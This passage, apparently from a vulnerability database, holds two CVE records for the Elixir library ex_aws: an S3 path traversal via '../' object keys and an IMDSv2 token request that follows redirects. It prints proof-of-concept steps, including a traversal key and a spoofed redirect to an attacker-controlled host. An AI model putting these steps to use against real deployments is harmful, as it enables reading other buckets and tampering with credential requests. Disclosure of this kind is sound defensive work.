                  "value": "\u003col\u003e\n\u003cli\u003eAn application isolates data in its own bucket \u003ccode\u003emybucket\u003c/code\u003e and builds the object key from user input, using the default path-style S3 configuration.\u003c/li\u003e\n\u003cli\u003eIt issues the request through the public API: \u003ccode\u003eExAws.S3.get_object(\"mybucket\", key) |\u0026gt; ExAws.request(config)\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker supplies the key \u003ccode\u003e../victim/secret.txt\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eex_aws joins and normalizes the path, so \u003ccode\u003e/mybucket/../victim/secret.txt\u003c/code\u003e becomes \u003ccode\u003e/victim/secret.txt\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe request is signed with the application\u0027s credentials and sent to \u003ccode\u003e/victim/secret.txt\u003c/code\u003e, addressing bucket \u003ccode\u003evictim\u003c/code\u003e instead of \u003ccode\u003emybucket\u003c/code\u003e.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "1. An application isolates data in its own bucket `mybucket` and builds the object key from user input, using the default path-style S3 configuration.\n2. It issues the request through the public API: `ExAws.S3.get_object(\"mybucket\", key) |\u003e ExAws.request(config)`.\n3. The attacker supplies the key `../victim/secret.txt`.\n4. ex_aws joins and normalizes the path, so `/mybucket/../victim/secret.txt` becomes `/victim/secret.txt`.\n5. The request is signed with the application\u0027s credentials and sent to `/victim/secret.txt`, addressing bucket `victim` instead of `mybucket`."
                }
              ],
              "value": "* An application isolates data in its own bucket mybucket and builds the object key from user input, using the default path-style S3 configuration.\n* It issues the request through the public API: ExAws.S3.get_object(\"mybucket\", key) |\u003e ExAws.request(config).\n* The attacker supplies the key ../victim/secret.txt.\n* ex_aws joins and normalizes the path, so /mybucket/../victim/secret.txt becomes /victim/secret.txt.\n* The request is signed with the application\u0027s credentials and sent to /victim/secret.txt, addressing bucket victim instead of mybucket."
            }
          ],
          "x_technicalAnalysis": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003cstrong\u003e1. Path assembly.\u003c/strong\u003e In the default path-style clause of \u003ccode\u003eExAws.Operation.S3.add_bucket_to_path/2\u003c/code\u003e (taken whenever \u003ccode\u003evirtual_host: true\u003c/code\u003e is not set), the bucket and the operation path are concatenated and then normalized: \u003ccode\u003e\"/#{operation.bucket}#{ensure_absolute(operation.path)}\" |\u0026gt; expand_dot()\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Normalization across the bucket boundary.\u003c/strong\u003e \u003ccode\u003eexpand_dot/1\u003c/code\u003e and \u003ccode\u003edo_expand_dot/2\u003c/code\u003e resolve \u003ccode\u003e.\u003c/code\u003e and \u003ccode\u003e..\u003c/code\u003e segments the way a filesystem path would. The bucket is just the first segment of the combined string, so a \u003ccode\u003e..\u003c/code\u003e in the object key pops it: \u003ccode\u003e/mybucket/../victim/secret.txt\u003c/code\u003e becomes \u003ccode\u003e/victim/secret.txt\u003c/code\u003e. The only guard, the root clamp \u003ccode\u003edo_expand_dot([\"..\" | t], [])\u003c/code\u003e, stops \u003ccode\u003e..\u003c/code\u003e from climbing above \u003ccode\u003e/\u003c/code\u003e but does not protect the bucket segment. The same collapse lets \u003ccode\u003e../\u003c/code\u003e escape a trusted key prefix within a bucket.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Signed request.\u003c/strong\u003e The normalized path is signed with the application\u0027s credentials and sent, so the request is authorized against the bucket or prefix the attacker chose. S3 treats object keys as opaque and does not resolve \u003ccode\u003e..\u003c/code\u003e itself; the traversal exists only because the client normalizes the path. The \u003ccode\u003evirtual_host\u003c/code\u003e clauses do not normalize, so behavior differs between configurations.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "**1. Path assembly.** In the default path-style clause of `ExAws.Operation.S3.add_bucket_to_path/2` (taken whenever `virtual_host: true` is not set), the bucket and the operation path are concatenated and then normalized: `\"/#{operation.bucket}#{ensure_absolute(operation.path)}\" |\u003e expand_dot()`.\n\n**2. Normalization across the bucket boundary.** `expand_dot/1` and `do_expand_dot/2` resolve `.` and `..` segments the way a filesystem path would. The bucket is just the first segment of the combined string, so a `..` in the object key pops it: `/mybucket/../victim/secret.txt` becomes `/victim/secret.txt`. The only guard, the root clamp `do_expand_dot([\"..\" | t], [])`, stops `..` from climbing above `/` but does not protect the bucket segment. The same collapse lets `../` escape a trusted key prefix within a bucket.\n\n**3. Signed request.** The normalized path is signed with the application\u0027s credentials and sent, so the request is authorized against the bucket or prefix the attacker chose. S3 treats object keys as opaque and does not resolve `..` itself; the traversal exists only because the client normalizes the path. The `virtual_host` clauses do not normalize, so behavior differs between configurations."
                }
              ],
              "value": "1. Path assembly. In the default path-style clause of ExAws.Operation.S3.add_bucket_to_path/2 (taken whenever virtual_host: true is not set), the bucket and the operation path are concatenated and then normalized: \"/#{operation.bucket}#{ensure_absolute(operation.path)}\" |\u003e expand_dot().\n\n2. Normalization across the bucket boundary. expand_dot/1 and do_expand_dot/2 resolve . and .. segments the way a filesystem path would. The bucket is just the first segment of the combined string, so a .. in the object key pops it: /mybucket/../victim/secret.txt becomes /victim/secret.txt. The only guard, the root clamp do_expand_dot([\"..\" | t], []), stops .. from climbing above / but does not protect the bucket segment. The same collapse lets ../ escape a trusted key prefix within a bucket.\n\n3. Signed request. The normalized path is signed with the application\u0027s credentials and sent, so the request is authorized against the bucket or prefix the attacker chose. S3 treats object keys as opaque and does not resolve .. itself; the traversal exists only because the client normalizes the path. The virtual_host clauses do not normalize, so behavior differs between configurations."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-59698",
        "datePublished": "2026-11-24T11:45:30.199Z",
        "dateReserved": "2026-07-06T14:05:47.003Z",
        "dateUpdated": "2026-11-24T11:45:30.199Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-59697 (GCVE-0-2026-59697)

    Vulnerability from cvelistv5 – Published: 2026-11-24 11:43 – Updated: 2026-11-24 11:43
    VLAI
    Title
    IMDSv2 metadata token request follows HTTP redirects in ex_aws
    Summary
    Server-Side Request Forgery (SSRF) vulnerability in ex_aws (instance metadata token provider). This vulnerability is associated with program files lib/ex_aws/instance_meta_token_provider.ex and program routines ExAws.InstanceMetaTokenProvider.request_token/1 and ExAws.InstanceMetaTokenProvider.get/1. ex_aws requests its IMDSv2 session token from the link-local metadata endpoint (http://169.254.169.254/latest/api/token) with HTTP redirect following enabled. Because the token request follows 3xx redirects and does not restrict the redirect target to the link-local range, an attacker who can influence the response to the metadata request (for example an on-segment neighbor spoofing the link-local address) can answer with a redirect to an arbitrary host. The library follows the redirect and accepts the arbitrary host's response body as the IMDSv2 session token, caching it and sending it as the x-aws-ec2-metadata-token header on every subsequent metadata and credential request. This issue affects ex_aws: from 2.3.0 before 2.8.0.
    CWE
    • CWE-918 - Server-Side Request Forgery
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    ex-aws ex_aws Affected: 2.3.0 , < 2.8.0 (semver)
        cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*
    Create a notification for this product.
    ex-aws ex_aws Affected: 4d7923c16f613cc2bade2ed325d444bba0bc7234 , < 9fcc3605c7a0ecf8e205a72c50de3ced72befed0 (git)
        cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 11:43
    Show details on NVD website

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "collectionURL": "https://repo.hex.pm",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027"
              ],
              "packageName": "ex_aws",
              "packageURL": "pkg:hex/ex_aws",
              "product": "ex_aws",
              "programFiles": [
                "lib/ex_aws/instance_meta_token_provider.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027:request_token/1"
                },
                {
                  "name": "\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027:get/1"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "2.8.0",
                  "status": "affected",
                  "version": "2.3.0",
                  "versionType": "semver"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027"
              ],
              "packageName": "ex-aws/ex_aws",
              "packageURL": "pkg:github/ex-aws/ex_aws",
              "product": "ex_aws",
              "programFiles": [
                "lib/ex_aws/instance_meta_token_provider.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027:request_token/1"
                },
                {
                  "name": "\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027:get/1"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "9fcc3605c7a0ecf8e205a72c50de3ced72befed0",
                  "status": "affected",
                  "version": "4d7923c16f613cc2bade2ed325d444bba0bc7234",
                  "versionType": "git"
                }
              ]
            }
          ],
          "configurations": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eThe application must obtain its AWS credentials from the EC2 Instance Metadata Service (IMDSv2) through the ex_aws instance metadata token provider. Applications that source credentials by other means (for example environment variables or explicit configuration) do not reach the vulnerable code path.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "The application must obtain its AWS credentials from the EC2 Instance Metadata Service (IMDSv2) through the ex_aws instance metadata token provider. Applications that source credentials by other means (for example environment variables or explicit configuration) do not reach the vulnerable code path."
                }
              ],
              "value": "The application must obtain its AWS credentials from the EC2 Instance Metadata Service (IMDSv2) through the ex_aws instance metadata token provider. Applications that source credentials by other means (for example environment variables or explicit configuration) do not reach the vulnerable code path."
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "2.8.0",
                      "versionStartIncluding": "2.3.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "analyst",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Bernard Duggan"
            }
          ],
          "datePublic": "2026-11-24T11:43:15.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eServer-Side Request Forgery (SSRF) vulnerability in ex_aws (instance metadata token provider).\u003c/p\u003e\n\u003cp\u003eThis vulnerability is associated with program files \u003ccode\u003elib/ex_aws/instance_meta_token_provider.ex\u003c/code\u003e and program routines \u003ccode\u003eExAws.InstanceMetaTokenProvider.request_token/1\u003c/code\u003e and \u003ccode\u003eExAws.InstanceMetaTokenProvider.get/1\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eex_aws requests its IMDSv2 session token from the link-local metadata endpoint (\u003ccode\u003ehttp://169.254.169.254/latest/api/token\u003c/code\u003e) with HTTP redirect following enabled. Because the token request follows 3xx redirects and does not restrict the redirect target to the link-local range, an attacker who can influence the response to the metadata request (for example an on-segment neighbor spoofing the link-local address) can answer with a redirect to an arbitrary host. The library follows the redirect and accepts the arbitrary host\u0027s response body as the IMDSv2 session token, caching it and sending it as the \u003ccode\u003ex-aws-ec2-metadata-token\u003c/code\u003e header on every subsequent metadata and credential request.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws: from 2.3.0 before 2.8.0.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Server-Side Request Forgery (SSRF) vulnerability in ex_aws (instance metadata token provider).\n\nThis vulnerability is associated with program files `lib/ex_aws/instance_meta_token_provider.ex` and program routines `ExAws.InstanceMetaTokenProvider.request_token/1` and `ExAws.InstanceMetaTokenProvider.get/1`.\n\nex_aws requests its IMDSv2 session token from the link-local metadata endpoint (`http://169.254.169.254/latest/api/token`) with HTTP redirect following enabled. Because the token request follows 3xx redirects and does not restrict the redirect target to the link-local range, an attacker who can influence the response to the metadata request (for example an on-segment neighbor spoofing the link-local address) can answer with a redirect to an arbitrary host. The library follows the redirect and accepts the arbitrary host\u0027s response body as the IMDSv2 session token, caching it and sending it as the `x-aws-ec2-metadata-token` header on every subsequent metadata and credential request.\n\nThis issue affects ex_aws: from 2.3.0 before 2.8.0."
                }
              ],
              "value": "Server-Side Request Forgery (SSRF) vulnerability in ex_aws (instance metadata token provider).\n\nThis vulnerability is associated with program files lib/ex_aws/instance_meta_token_provider.ex and program routines ExAws.InstanceMetaTokenProvider.request_token/1 and ExAws.InstanceMetaTokenProvider.get/1.\n\nex_aws requests its IMDSv2 session token from the link-local metadata endpoint (http://169.254.169.254/latest/api/token) with HTTP redirect following enabled. Because the token request follows 3xx redirects and does not restrict the redirect target to the link-local range, an attacker who can influence the response to the metadata request (for example an on-segment neighbor spoofing the link-local address) can answer with a redirect to an arbitrary host. The library follows the redirect and accepts the arbitrary host\u0027s response body as the IMDSv2 session token, caching it and sending it as the x-aws-ec2-metadata-token header on every subsequent metadata and credential request.\n\nThis issue affects ex_aws: from 2.3.0 before 2.8.0."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-664",
              "descriptions": [
                {
                  "lang": "en",
                  "value": "CAPEC-664 Server Side Request Forgery"
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "HIGH",
                "attackRequirements": "PRESENT",
                "attackVector": "ADJACENT",
                "baseScore": 7.6,
                "baseSeverity": "HIGH",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "HIGH",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-918",
                  "description": "CWE-918 Server-Side Request Forgery",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T11:43:17.078Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws/security/advisories/GHSA-mww9-g5mj-j664"
            },
            {
              "name": "EEF CNA record for CVE-2026-59697",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-59697.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-59697",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-59697"
            },
            {
              "name": "Introducing commit 4d7923c in ex-aws/ex_aws",
              "tags": [
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws/commit/4d7923c16f613cc2bade2ed325d444bba0bc7234"
            },
            {
              "name": "Fix commit 9fcc360 in ex-aws/ex_aws",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/ex-aws/ex_aws/commit/9fcc3605c7a0ecf8e205a72c50de3ced72befed0"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "IMDSv2 metadata token request follows HTTP redirects in ex_aws",
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003col\u003e\n\u003cli\u003eThe attacker is positioned to answer requests the instance sends to \u003ccode\u003e169.254.169.254\u003c/code\u003e, for example as an on-segment neighbor spoofing the link-local address.\u003c/li\u003e\n\u003cli\u003eThe application obtains a metadata token through \u003ccode\u003eExAws.InstanceMetaTokenProvider.get/1\u003c/code\u003e, which calls \u003ccode\u003erequest_token/1\u003c/code\u003e and sends \u003ccode\u003ePUT /latest/api/token\u003c/code\u003e to the link-local endpoint.\u003c/li\u003e\n\u003cli\u003eThe attacker answers the \u003ccode\u003ePUT\u003c/code\u003e with \u003ccode\u003e302\u003c/code\u003e and a \u003ccode\u003eLocation\u003c/code\u003e header pointing at a host they control.\u003c/li\u003e\n\u003cli\u003eThe HTTP client follows the redirect because ex_aws passed \u003ccode\u003efollow_redirect: true\u003c/code\u003e, and the attacker\u0027s host replies \u003ccode\u003e200\u003c/code\u003e with a chosen body such as \u003ccode\u003eATTACKER-CONTROLLED-SESSION-TOKEN\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eget/1\u003c/code\u003e returns that body as the IMDSv2 session token, and ex_aws caches it and sends it as \u003ccode\u003ex-aws-ec2-metadata-token\u003c/code\u003e on later metadata and credential requests.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "1. The attacker is positioned to answer requests the instance sends to `169.254.169.254`, for example as an on-segment neighbor spoofing the link-local address.\n2. The application obtains a metadata token through `ExAws.InstanceMetaTokenProvider.get/1`, which calls `request_token/1` and sends `PUT /latest/api/token` to the link-local endpoint.\n3. The attacker answers the `PUT` with `302` and a `Location` header pointing at a host they control.\n4. The HTTP client follows the redirect because ex_aws passed `follow_redirect: true`, and the attacker\u0027s host replies `200` with a chosen body such as `ATTACKER-CONTROLLED-SESSION-TOKEN`.\n5. `get/1` returns that body as the IMDSv2 session token, and ex_aws caches it and sends it as `x-aws-ec2-metadata-token` on later metadata and credential requests."
                }
              ],
              "value": "* The attacker is positioned to answer requests the instance sends to 169.254.169.254, for example as an on-segment neighbor spoofing the link-local address.\n* The application obtains a metadata token through ExAws.InstanceMetaTokenProvider.get/1, which calls request_token/1 and sends PUT /latest/api/token to the link-local endpoint.\n* The attacker answers the PUT with 302 and a Location header pointing at a host they control.\n* The HTTP client follows the redirect because ex_aws passed follow_redirect: true, and the attacker\u0027s host replies 200 with a chosen body such as ATTACKER-CONTROLLED-SESSION-TOKEN.\n* get/1 returns that body as the IMDSv2 session token, and ex_aws caches it and sends it as x-aws-ec2-metadata-token on later metadata and credential requests."
            }
          ],
          "x_technicalAnalysis": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003cstrong\u003e1. Token request.\u003c/strong\u003e \u003ccode\u003eExAws.InstanceMetaTokenProvider.request_token/1\u003c/code\u003e sends the IMDSv2 \u003ccode\u003ePUT\u003c/code\u003e to the hard-coded link-local endpoint \u003ccode\u003ehttp://169.254.169.254/latest/api/token\u003c/code\u003e with \u003ccode\u003efollow_redirect: true\u003c/code\u003e in its HTTP options. AWS advises against following redirects on metadata requests, and IMDSv2\u0027s \"PUT plus required header\" design is itself an SSRF mitigation.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Redirect following.\u003c/strong\u003e Any \u003ccode\u003e3xx\u003c/code\u003e reply to the token request is followed by the HTTP client to whatever host its \u003ccode\u003eLocation\u003c/code\u003e header names. Nothing restricts the redirect target to the link-local range, so the request can leave \u003ccode\u003e169.254.169.254\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Token acceptance.\u003c/strong\u003e The body returned by the final URL is accepted verbatim as the session token, cached in ETS, and sent as the \u003ccode\u003ex-aws-ec2-metadata-token\u003c/code\u003e header on every later metadata and credential request the library makes. Whoever answers the redirect therefore chooses both where the token request ends up and which value is used as the token.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "**1. Token request.** `ExAws.InstanceMetaTokenProvider.request_token/1` sends the IMDSv2 `PUT` to the hard-coded link-local endpoint `http://169.254.169.254/latest/api/token` with `follow_redirect: true` in its HTTP options. AWS advises against following redirects on metadata requests, and IMDSv2\u0027s \"PUT plus required header\" design is itself an SSRF mitigation.\n\n**2. Redirect following.** Any `3xx` reply to the token request is followed by the HTTP client to whatever host its `Location` header names. Nothing restricts the redirect target to the link-local range, so the request can leave `169.254.169.254`.\n\n**3. Token acceptance.** The body returned by the final URL is accepted verbatim as the session token, cached in ETS, and sent as the `x-aws-ec2-metadata-token` header on every later metadata and credential request the library makes. Whoever answers the redirect therefore chooses both where the token request ends up and which value is used as the token."
                }
              ],
              "value": "1. Token request. ExAws.InstanceMetaTokenProvider.request_token/1 sends the IMDSv2 PUT to the hard-coded link-local endpoint http://169.254.169.254/latest/api/token with follow_redirect: true in its HTTP options. AWS advises against following redirects on metadata requests, and IMDSv2\u0027s \"PUT plus required header\" design is itself an SSRF mitigation.\n\n2. Redirect following. Any 3xx reply to the token request is followed by the HTTP client to whatever host its Location header names. Nothing restricts the redirect target to the link-local range, so the request can leave 169.254.169.254.\n\n3. Token acceptance. The body returned by the final URL is accepted verbatim as the session token, cached in ETS, and sent as the x-aws-ec2-metadata-token header on every later metadata and credential request the library makes. Whoever answers the redirect therefore chooses both where the token request ends up and which value is used as the token."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-59697",
        "datePublished": "2026-11-24T11:43:17.078Z",
        "dateReserved": "2026-07-06T14:05:47.003Z",
        "dateUpdated": "2026-11-24T11:43:17.078Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }